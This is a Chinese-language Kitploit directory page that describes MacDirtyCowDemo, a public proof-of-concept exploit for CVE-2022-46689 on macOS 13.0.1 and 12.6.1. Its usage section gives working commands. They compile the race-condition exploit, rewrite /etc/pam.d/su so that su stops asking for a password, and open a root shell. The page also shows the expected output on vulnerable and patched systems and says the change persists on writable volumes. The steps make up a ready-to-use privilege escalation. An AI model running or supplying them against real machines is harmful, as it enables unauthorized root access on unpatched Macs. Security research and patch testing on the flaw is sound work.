Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/zhuowei/macdirtycowdemo
权限提升漏洞分析漏洞利用渗透测试红队二进制利用
GitHubzhuowei/macdirtycowdemo

MacDirtyCowDemo

利用 CVE-2022-46689 在 macOS 13.0.1 上获取 root 权限(相当于 macOS 上的 Dirty Cow 漏洞),使用从 Apple 的 XNU 源码中提取的测试用例。

查看仓库
4103583年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

利用 CVE-2022-46689(macOS 版的 Dirty Cow 漏洞)在 macOS 13.0.1 上获取 root 权限,使用从 Apple 的 XNU 源码 中提取的测试用例。

https://worthdoingbadly.com/macdirtycow/

用法

在 macOS 13.0.1 / 12.6.1(或更低版本)机器上,运行:

clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su

你应该会得到:

% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2# 

已在关闭 SIP 的 macOS 13 beta(22A5266r)上测试(开启 SIP 时应该仍然有效)。

如果你的系统已完全修补(macOS 13.1 / 12.6.2),则应该会显示:

$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure

并且运行 su 时仍会要求输入密码。

得益于 Sealed System Volume(密封系统卷),在 /System 卷上对任何文件运行此操作只会临时修改该文件:重启后即被还原。而在可写卷上的文件上运行,则重启后修改仍会保留。

致谢

  • 感谢 Project Zero 的 Ian Beer 发现该问题。期待你的分析文章!
  • 感谢 Apple 提供的测试用例。(我没有任何改动:只是添加了命令行参数来控制要覆盖的目标。)
  • 感谢 SSLab@Gatech 提供的利用 /etc/pam.d 禁用密码检查的技巧。
下载工具